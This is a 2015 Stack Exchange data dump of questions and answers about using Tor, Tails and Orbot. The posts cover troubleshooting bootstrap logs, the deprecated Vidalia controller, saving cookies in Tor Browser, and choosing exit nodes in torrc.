  <row Id="8651" PostTypeId="2" ParentId="8646" CreationDate="2015-09-12T20:51:15.490" Score="1" Body="&lt;p&gt;To put it in simple terms, &lt;a href=&quot;https://www.torproject.org/about/overview.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor&lt;/a&gt; (or The Onion Router) is free software that enables anonymous communication on the internet. Tor helps you protect your online privacy and helps you defend against network surveillance and traffic analysis. it prevents somebody watching your Internet connection from learning what sites you visit, and it prevents the sites you visit from learning your physical location. Tor achieves this by directing Internet traffic through free, worldwide, distributed servers which are run by volunteers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tails.boum.org/about/index.en.html&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt; on the other hand is a full-blown Debian-based operating system that comes with several built-in applications pre-configured with security in mind: web browser, instant messaging client, email client, office suite, image and sound editor, etc. It is designed to be used from a DVD, USB stick, or SD card independently of the computer's original operating system, and it leaves no trace on the computer you are using unless you ask it explicitly. Have a look &lt;a href=&quot;https://tails.boum.org/doc/about/features/index.en.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; to know the full list of features and included software. Tails relies on the Tor anonymity network to protect your privacy online:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;all software is configured to connect to the Internet through Tor&lt;/li&gt;&#xA;&lt;li&gt;if an application tries to connect to the Internet directly, the connection is automatically blocked for security.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you have read this much, there are &lt;a href=&quot;https://www.torproject.org/getinvolved/volunteer.html.en&quot; rel=&quot;nofollow&quot;&gt;few things you can do now&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Please &lt;a href=&quot;https://www.torproject.org/docs/tor-doc-relay.html.en&quot; rel=&quot;nofollow&quot;&gt;consider running a relay&lt;/a&gt; to help the Tor network grow.&lt;/li&gt;&#xA;&lt;li&gt;Tell your friends! Get them to run relays. Get them to run hidden services. Get them to tell their friends.&lt;/li&gt;&#xA;&lt;li&gt;If you like &lt;a href=&quot;https://www.torproject.org/about/overview.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor's goals&lt;/a&gt;, please take a moment to &lt;a href=&quot;https://www.torproject.org/donate/donate.html.en&quot; rel=&quot;nofollow&quot;&gt;donate to support&lt;/a&gt; further Tor development. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8197" LastActivityDate="2015-09-12T20:51:15.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8652" PostTypeId="1" CreationDate="2015-09-13T01:42:30.803" Score="1" ViewCount="862" Body="&lt;p&gt;I have downloaded and opened Tor, and it goes into the app but it says I am not using Tor and won't let me access Tor, so how do I fix this so I can use it?&lt;/p&gt;&#xA;" OwnerUserId="9372" LastActivityDate="2015-09-13T01:42:30.803" Title="How do I use Kindle Fire Tor App?" Tags="|help|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8657" PostTypeId="2" ParentId="4471" CreationDate="2015-09-13T04:51:04.307" Score="0" Body="&lt;p&gt;Make sure your device has been rooted and you have checked the app you want to protect using orbot that's enough final check make sure your orbot is running and having a key symbol at the top left corner of your device.&lt;/p&gt;&#xA;" OwnerUserId="9376" LastActivityDate="2015-09-13T04:51:04.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8658" PostTypeId="2" ParentId="8636" CreationDate="2015-09-13T05:28:05.790" Score="7" Body="&lt;p&gt;The hack isn't possible the way he described it.&#xA;First he implied that the guy was using hidden services to hide his servers, then he said that he was able to mess with his traffic at the exit nodes.&#xA;Hidden services don't have exit nodes; it's encrypted end-to-end, hence the hack is just gibberish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If he was using regular Tor then it might be possible provided the guy's traffic was unencrypted (e.g. HTTP instead of HTTPS).&#xA;To do the hack he could do something like insert code into the page that sends back sensitive information such as IP address to the server which the exit node would then be able to see and would use to deanonymise the client, then he would hope that the guy visits illegal websites before he switches exit nodes.&#xA;But as you said, for this to be possible he would have to have his exit node selected for use by the guy, which is unlikely if he's just running one.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2015-09-13T05:28:05.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8660" PostTypeId="1" CreationDate="2015-09-13T13:28:05.550" Score="5" ViewCount="2696" Body="&lt;p&gt;Normally, when closing Tor Browser, all cookies will be deleted and that's good. But is there a way to save a specific Tor cookie, maybe a login data of a website you don't want to enter again and again when using Tor Browser, so it can be used later?&lt;/p&gt;&#xA;" OwnerUserId="9378" LastActivityDate="2020-10-24T07:56:15.563" Title="Can I save Tor cookies for a later use" Tags="|cookies|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8661" PostTypeId="2" ParentId="8660" CreationDate="2015-09-13T16:18:20.897" Score="1" Body="&lt;p&gt;Open Preferences and navigate to Privacy in Tor Browser by:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;about:preferences#privacy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Click the drop-down menu next to &amp;quot;Tor Browser will:&amp;quot; and select &amp;quot;Use custom settings for history&amp;quot; and un-check &amp;quot;Always use private browsing mode&amp;quot;. You will be asked to restart Tor browser. Click OK.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lFtTW.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;When the Tor browser restarts, navigate again to Preferences -&amp;gt; Privacy. Now you can change cookie settings like accept/block third-party cookies, set when to clear cookie, remember history, etc.&lt;/p&gt;&#xA;" OwnerUserId="8197" LastEditorUserId="31084" LastEditDate="2020-10-24T07:56:15.563" LastActivityDate="2020-10-24T07:56:15.563" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="8662" PostTypeId="1" CreationDate="2015-09-13T22:22:31.990" Score="1" ViewCount="346" Body="&lt;p&gt;I used Orbot for about 2 weeks. Then I uninstalled the app. 2 Days ago I reinstalled it and when I pressed the button nothing happened while in the log on the left the only thing that shows is: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;found polipo PID:6820 - killing now....&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It writes this thing 5 or 6 times, then the app shuts down saying that it has stopped working. I tried to change the proxy and port on my wireless connection but nothing changed.&lt;/p&gt;&#xA;" OwnerUserId="9381" LastEditorUserId="350" LastEditDate="2015-09-15T23:03:02.740" LastActivityDate="2015-09-15T23:03:02.740" Title="Orbot doesn't start after the first time i used it" Tags="|orbot|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8663" PostTypeId="1" CreationDate="2015-09-13T22:48:12.203" Score="1" ViewCount="471" Body="&lt;p&gt;I was reading a document, and it had two commands to execute:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;sudo apt-get install tor&lt;/code&gt;, and; &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sudo apt-get install vidalia&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What's the difference between these two commands? For running a Tor hidden service, we need to have Tor installed on the server, but what is Vidalia used for?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="5445" LastEditDate="2015-09-14T10:47:47.257" LastActivityDate="2015-09-14T10:47:47.257" Title="What's the difference between Tor and Vidalia?" Tags="|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8664" PostTypeId="2" ParentId="8663" CreationDate="2015-09-14T02:44:41.583" Score="1" Body="&lt;p&gt;The first command should be &lt;code&gt;sudo apt-get install tor&lt;/code&gt; which installs Tor ('standalone version' from the repository). The second command would have been used to install Vidalia. These commands install the software using &lt;code&gt;apt-get&lt;/code&gt; and it is therefore assumed you have a Debian based system e.g. Ubuntu, Debian etc. If not you can find a full list of packages along with instructions on how to install Tor on various Operating Systems on the Tor website &lt;a href=&quot;https://www.torproject.org/download/download-unix.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/download/download-unix.html.en&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What is Vidalia used for?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The wikipedia page has some good information &lt;a href=&quot;https://en.wikipedia.org/wiki/Vidalia_%28software%29&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Vidalia_%28software%29&lt;/a&gt; basically it is a discontinued Graphical User Interface for controlling Tor. It's no longer under development by the Tor Project (but Tails continue to develop a version for use in their OS). It's discontinuation is discussed here &lt;a href=&quot;https://tor.stackexchange.com/questions/1075/what-happened-to-vidalia&quot;&gt;What happened to Vidalia?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Project recommend that you don't use Vidalia so the document that you were reading is outdated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best place to find good instructions on how to set up hidden services, relays and anything Tor related is in the documentation found on the Tor website &lt;a href=&quot;https://www.torproject.org/docs/documentation.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/documentation.html.en&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="7883" LastEditorUserId="7883" LastEditDate="2015-09-14T02:54:18.217" LastActivityDate="2015-09-14T02:54:18.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8665" PostTypeId="1" CreationDate="2015-09-14T12:09:00.193" Score="2" ViewCount="6817" Body="&lt;p&gt;I have already installed the latest version of Tor but i can't connect to a specific IP address from this Tor list &lt;a href=&quot;http://torstatus.blutmagie.de/&quot; rel=&quot;nofollow&quot;&gt;http://torstatus.blutmagie.de/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me (also with a practical example...)?   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have windows machine.&lt;/p&gt;&#xA;" OwnerUserId="9386" LastEditorUserId="8197" LastEditDate="2015-09-15T15:31:31.030" LastActivityDate="2021-03-18T17:14:44.473" Title="How to connect tor to a specific ip address of the list?" Tags="|tor-browser-bundle|configuration|ip-address|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8666" PostTypeId="1" CreationDate="2015-09-14T12:49:52.487" Score="5" ViewCount="427" Body="&lt;p&gt;Since the path and the length of a circuit can be chosen by a modified client an attacker could make it arbitrarily long and thus multiply the the impact of his traffic on the network by the amount of hops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any limitation besides possible packet size limitations and timeouts? And what would the practical limit be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume there must be some counter measure. Otherwise someone would have already done this.&lt;/p&gt;&#xA;" OwnerUserId="9387" LastEditorUserId="5445" LastEditDate="2015-09-20T10:33:53.740" LastActivityDate="2015-09-20T10:33:53.740" Title="How does Tor protect against flooding with artificially long circuits" Tags="|circuit|bandwidth|network-health|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8667" PostTypeId="2" ParentId="8665" CreationDate="2015-09-14T15:08:42.583" Score="0" Body="&lt;p&gt;You do not have to download Vidalia. It has been deprecated. You can just download the &lt;code&gt;.exe&lt;/code&gt; file from &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en#downloads&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and follow the Windows Instructions down &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en#downloads&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt; to install/run tor browser.&lt;/p&gt;&#xA;" OwnerUserId="8197" LastActivityDate="2015-09-14T15:08:42.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8668" PostTypeId="1" CreationDate="2015-09-14T16:38:20.487" Score="7" ViewCount="51500" Body="&lt;p&gt;Can someone help me with the following error?? Below is my log and I'm not an expert, so please explain in simple terms!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;9/14/2015 18:30:52 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;9/14/2015 18:30:59 PM.500 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;9/14/2015 18:31:06 PM.400 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;9/14/2015 18:31:06 PM.400 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;9/14/2015 18:31:07 PM.700 [WARN] Proxy Client: unable to connect to 109.105.109.163:47779 (&quot;general SOCKS server failure&quot;) &#xA;9/14/2015 18:31:07 PM.800 [WARN] Proxy Client: unable to connect to 109.105.109.163:38980 (&quot;general SOCKS server failure&quot;) &#xA;9/14/2015 18:31:09 PM.000 [WARN] Proxy Client: unable to connect to 169.229.59.75:46328 (&quot;general SOCKS server failure&quot;) &#xA;9/14/2015 18:32:13 PM.200 [WARN] Proxy Client: unable to connect to 83.212.101.3:80 (&quot;general SOCKS server failure&quot;) &#xA;9/14/2015 18:32:22 PM.900 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;9/14/2015 18:32:22 PM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;9/14/2015 18:32:22 PM.900 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9389" LastEditorUserId="8197" LastEditDate="2015-09-15T15:20:01.793" LastActivityDate="2021-11-01T23:42:37.310" Title="Proxy Client: unable to connect (&quot;general SOCKS server failure&quot;)" Tags="|windows|socks|proxy|" AnswerCount="4" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8669" PostTypeId="1" AcceptedAnswerId="9646" CreationDate="2015-09-14T19:31:07.810" Score="2" ViewCount="240" Body="&lt;p&gt;I am trying to measure different TCP packets delay that are transferred through various anonymity networks. For that purpose, I need some anonymity networks that use either socks or http proxies, just like TOR and I2P does, so I can route traffic through the network...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked most of the famous anonymity networks, but most of them are just protocols or doesn't support proxying applications (Freenet) or operating systems based on TOR (Tails OS), so are not suitable for my case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody has to suggest other anonymity networks, where I can route applications through them, like i did with TOR and I2P?&lt;/p&gt;&#xA;" OwnerUserId="9391" LastEditorUserId="350" LastEditDate="2015-09-15T23:04:22.303" LastActivityDate="2016-02-13T03:20:38.047" Title="Similar to I2P and Tor with http/socks proxies" Tags="|tor-browser-bundle|anonymity|i2p|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8670" PostTypeId="2" ParentId="8669" CreationDate="2015-09-14T21:08:16.727" Score="0" Body="&lt;p&gt;[The OP's question is perhaps off-topic as it isn't specifically about Tor, but rather other similar technologies. Also, without knowing which &quot;famous&quot; networks have been checked, it's difficult to know what to suggest.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The high-level &lt;a href=&quot;https://svn.torproject.org/svn/projects/design-paper/tor-design.html&quot; rel=&quot;nofollow&quot;&gt;Tor design document&lt;/a&gt; might be a good place to start, specifically the second section, entitled &lt;em&gt;Related work&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This details the other anonymity systems which were taken into consideration when Tor was designed. It's possible that some of these are no longer supported or have an insufficient user base for them to be serviceable. Others still will never have been implemented, but were rather academic exercises, so mileage may vary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regards to which of the mentioned technologies operate at the transport layer (or specifically use TCP), and which, if any, use proxies, I'll leave that to the OP to investigate further.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-09-14T21:08:16.727" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8672" PostTypeId="1" AcceptedAnswerId="8674" CreationDate="2015-09-15T06:59:56.120" Score="1" ViewCount="1816" Body="&lt;p&gt;A friend of mine installed a Tor relay with an exit node in his server. It has an IP and a port, obviously, but we can't connect (or we don't know) to the node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We think it has to be done with a proxy, but as I said, we don't know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you help us, please?&lt;/p&gt;&#xA;" OwnerDisplayName="user9394" LastEditorUserId="8197" LastEditDate="2015-09-15T15:31:40.270" LastActivityDate="2015-09-18T07:41:29.817" Title="How to connect to a Tor relay with an exit node" Tags="|configuration|exit-relays|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8673" PostTypeId="1" AcceptedAnswerId="8710" CreationDate="2015-09-15T13:08:50.227" Score="3" ViewCount="12568" Body="&lt;p&gt;I have experimented in the Tor Browser Bundle with the Tor Button's choices of &quot;new circuit for this site&quot; and &quot;new identity&quot;. &quot;New circuit&quot; appears to affects only the open tab and creates a new circuit for the site in that tab, apparently leaving the guard-node the same. &quot;New identity&quot; closes the browser and reopens it, apparently with the possibility of new circuits for all the subsequent connections, whether they are the same as earlier connections or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: Does the description of what I have observed fully describe the difference between the two Tor Button options, or is there something much more fundamental or perhaps even more significant that I have missed?&lt;/p&gt;&#xA;" OwnerUserId="435" LastActivityDate="2015-10-14T03:28:59.717" Title="Tor Browser Bundle (TBB) new circuit versus new identity" Tags="|tor-browser-bundle|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8674" PostTypeId="2" ParentId="8672" CreationDate="2015-09-15T13:34:35.160" Score="1" Body="&lt;p&gt;Specifying a particular exit node is not a wise solution, instead it is better to specify a country (better yet, exclude countries you don't want!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll have to edit your &lt;code&gt;torrc&lt;/code&gt; file: either &lt;code&gt;ExitNodes&lt;/code&gt; or &lt;code&gt;ExcludeExitNodes&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor Manual&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ExitNodes node,node,… &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A list of identity fingerprints, country codes,&#xA;  and address patterns of nodes to use as exit node---that is, a node&#xA;  that delivers traffic for you outside the Tor network. See the&#xA;  ExcludeNodes option for more information on how to specify nodes.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Note that if you list too few nodes here, or if you exclude too many&#xA;  exit nodes with ExcludeExitNodes, you can degrade functionality. For&#xA;  example, if none of the exits you list allows traffic on port 80 or&#xA;  443, you won’t be able to browse the web.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Note also that not every circuit is used to deliver traffic outside of&#xA;  the Tor network. It is normal to see non-exit circuits (such as those&#xA;  used to connect to hidden services, those that do directory fetches,&#xA;  those used for relay reachability self-tests, and so on) that end at a&#xA;  non-exit node. To keep a node from being used entirely, see&#xA;  ExcludeNodes and StrictNodes.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The ExcludeNodes option overrides this option: any node listed in both&#xA;  ExitNodes and ExcludeNodes is treated as excluded.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ExcludeExitNodes node,node,…&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A list of identity fingerprints, country codes, and address patterns&#xA;  of nodes to never use when picking an exit node---that is, a node that&#xA;  delivers traffic for you outside the Tor network. Note that any node&#xA;  listed in ExcludeNodes is automatically considered to be part of this&#xA;  list too. See the ExcludeNodes option for more information on how to&#xA;  specify nodes. See also the caveats on the &quot;ExitNodes&quot; option below.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {us} #use exit nodes in the United States; you can also use IP addresses here, like 15.125.229.117&#xA;ExcludeNodes {ru},{ro},{pt},{ph},{pa} #do not use exit nodes from these countries&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8197" LastEditorUserId="8197" LastEditDate="2015-09-17T06:17:07.053" LastActivityDate="2015-09-17T06:17:07.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8675" PostTypeId="2" ParentId="8666" CreationDate="2015-09-15T14:40:49.373" Score="0" Body="&lt;p&gt;User can not make the path length longer unless Tor is re-compiled from source. If you indeed managed to make longer path, it will dampen your bandwidth and increase network load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at the post &lt;a href=&quot;https://tor.stackexchange.com/questions/103/is-it-possible-to-make-the-tor-onion-routing-path-longer&quot;&gt;Is it possible to make the Tor onion-routing path longer?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8197" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-09-15T14:40:49.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8676" PostTypeId="1" CreationDate="2015-09-15T16:37:14.453" Score="2" ViewCount="1453" Body="&lt;p&gt;I have got a peculiar problem. I try to use Tor 5.0 with Windows 7. When I start Tor a Tor circuit is established and the Tor homepage shows up. Yet, I am unable to browse the web, as no webpages seem to load (not even the Tor update page). Disabling my firewall does not help. I am able to run Tor with Tails, so my there seems to be no problem with internet connection or provider. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor log-file seems fine to me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[notice] Tor v0.2.6.10 (git-cab52fe998909e08) running on Windows 7 with Libevent 2.0.21-stable, OpenSSL 1.0.1p and Zlib 1.2.8.&#xA;&#xA;[notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;&#xA;[notice] Read configuration file &quot;C:\Users\alpha\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc-defaults&quot;.&#xA;&#xA;[notice] Read configuration file &quot;C:\Users\alpha\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc&quot;.&#xA;&#xA;[notice] Opening Socks listener on 127.0.0.1:9150&#xA;&#xA;[notice] Opening Control listener on 127.0.0.1:9151&#xA;&#xA;[notice] Parsing GEOIP IPv4 file C:\Users\alpha\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip.&#xA;&#xA;[notice] Parsing GEOIP IPv6 file C:\Users\alpha\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6.&#xA;&#xA;[notice] Bootstrapped 0%: Starting&#xA;&#xA;[notice] Bootstrapped 80%: Connecting to the Tor network&#xA;&#xA;[notice] New control connection opened from 127.0.0.1.&#xA;&#xA;[notice] Tor 0.2.6.10 (git-cab52fe998909e08) opening log file.&#xA;&#xA;[notice] New control connection opened from 127.0.0.1.&#xA;&#xA;[notice] Bootstrapped 85%: Finishing handshake with first hop&#xA;&#xA;[notice] Bootstrapped 90%: Establishing a Tor circuit&#xA;&#xA;[notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;&#xA;[notice] Bootstrapped 100%: Done&#xA;&#xA;[notice] New control connection opened from 127.0.0.1.&#xA;&#xA;[notice] New control connection opened from 127.0.0.1.&#xA;&#xA;[notice] Owning controller connection has closed -- exiting now.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am totally clueless, how to solve this problem. So, if anyone could give me a hint or point me to where I could find some help, I would be very grateful.&lt;/p&gt;&#xA;" OwnerUserId="9399" LastEditorUserId="8197" LastEditDate="2015-09-15T18:27:47.730" LastActivityDate="2015-10-21T07:47:07.523" Title="Connected to Tor Network, still not able to browse the web" Tags="|tor-browser-bundle|windows|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8677" PostTypeId="1" CreationDate="2015-09-15T20:09:40.273" Score="0" ViewCount="1855" Body="&lt;pre&gt;&lt;code&gt;15.09.2015 22:57:52.400 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;15.09.2015 22:57:52.400 [NOTICE] Renaming old configuration file to &quot;C:\Users\Darth\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc.orig.1&quot; &#xA;15.09.2015 22:57:52.500 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;15.09.2015 22:57:52.700 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;15.09.2015 22:57:53.400 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;15.09.2015 22:57:53.600 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;15.09.2015 22:57:53.800 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;15.09.2015 22:57:55.700 [WARN] Received directory with skewed time (server '199.254.238.52:443'): It seems that our clock is behind by 1 hours, 3 minutes, or that theirs is ahead. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &#xA;15.09.2015 22:57:55.700 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;15.09.2015 22:57:55.900 [NOTICE] Bootstrapped 40%: Loading authority key certs &#xA;15.09.2015 22:57:56.500 [WARN] Received directory with skewed time (server '199.254.238.52:443'): It seems that our clock is behind by 1 hours, 3 minutes, or that theirs is ahead. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &#xA;15.09.2015 22:57:56.500 [WARN] Our clock is 1 hours, 2 minutes behind the time published in the consensus network status document (2015-09-15 20:00:00 UTC).  Tor needs an accurate clock to work correctly. Please check your time and date settings! &#xA;15.09.2015 22:57:56.500 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;15.09.2015 22:59:31.900 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;15.09.2015 22:59:31.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;15.09.2015 22:59:31.900 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;15.09.2015 22:59:32.400 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;15.09.2015 22:59:34.500 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;15.09.2015 23:00:28.800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;15.09.2015 23:00:28.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;15.09.2015 23:00:28.800 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;15.09.2015 23:00:29.400 [NOTICE] Delaying directory fetches: DisableNetwork is set.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9400" LastEditorUserId="1730" LastEditDate="2015-09-16T09:13:05.483" LastActivityDate="2015-09-16T09:13:05.483" Title="Unable to connect to network, posting log. What could be the problem? OS Windows 7 64 bit" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ClosedDate="2015-09-16T09:13:59.473" ContentLicense="CC BY-SA 3.0" />
  <row Id="8678" PostTypeId="2" ParentId="8677" CreationDate="2015-09-15T20:36:40.763" Score="0" Body="&lt;p&gt;The problem is almost certainly this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;15.09.2015 22:57:56.500 [WARN] Received directory with skewed time (server '199.254.238.52:443'): It seems that our clock is behind by 1 hours, 3 minutes, or that theirs is ahead. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &#xA;15.09.2015 22:57:56.500 [WARN] Our clock is 1 hours, 2 minutes behind the time published in the consensus network status document (2015-09-15 20:00:00 UTC).  Tor needs an accurate clock to work correctly. Please check your time and date settings! &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the suggested action in the above logs being:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Please check your time and date settings! &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-09-15T20:36:40.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8680" PostTypeId="2" ParentId="8665" CreationDate="2015-09-16T06:12:51.780" Score="1" Body="&lt;p&gt;As far as I understood your ques, you want to exit from one specific Tor exit nodes. So for this, you can do the following.&lt;br&gt;&#xA;1. Download Tor Browser Bundle and install it.&lt;br&gt;&#xA;2. Go to ..\Tor Browser\Browser\TorBrowser\Data\Tor&lt;br&gt;&#xA;3. You will find a file torrc. Edit this file with notepad.&lt;br&gt;&#xA;4. At the end add &quot;ExitNodes IP&quot; without the quotes. E.g. Exitnodes 46.165.223.217&lt;/p&gt;&#xA;" OwnerUserId="1384" LastActivityDate="2015-09-16T06:12:51.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
